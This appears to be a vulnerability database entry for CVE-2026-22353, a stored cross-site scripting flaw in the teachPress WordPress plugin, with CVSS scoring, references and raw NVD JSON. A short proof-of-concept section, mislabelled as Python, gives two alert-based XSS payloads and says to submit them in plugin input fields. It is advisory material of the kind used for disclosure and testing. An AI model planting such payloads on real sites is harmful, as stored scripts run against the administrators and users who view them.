CVE-2026-22353

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in winkm89 teachPress teachpress allows Stored XSS.This issue affects teachPress: from n/a through <= 9.0.12.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

teachPress <= 9.0.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- 存储型XSS测试Payload (仅用于安全测试) -->
<script>alert('XSS Test')</script>
<!-- 或 -->
<img src=x onerror=alert(document.domain)>
<!-- 在teachPress相关输入字段中提交上述payload -->
<!-- 当管理员/用户访问相关页面时，脚本将执行 -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22353
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22353
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22353/
[4] VulDB https://vuldb.com/cve/CVE-2026-22353
[5] https://patchstack.com/database/Wordpress/Plugin/teachpress/vulnerability/wordpress-teachpress-plugin-9-0-12-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22353", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:31.610", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in winkm89 teachPress teachpress allows Stored XSS.This issue affects teachPress: from n/a through <= 9.0.12."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en winkm89 teachPress teachpress permite XSS Almacenado. Este problema afecta a teachPress: desde n/d hasta <= 9.0.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/teachpress/vulnerability/wordpress-teachpress-plugin-9-0-12-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}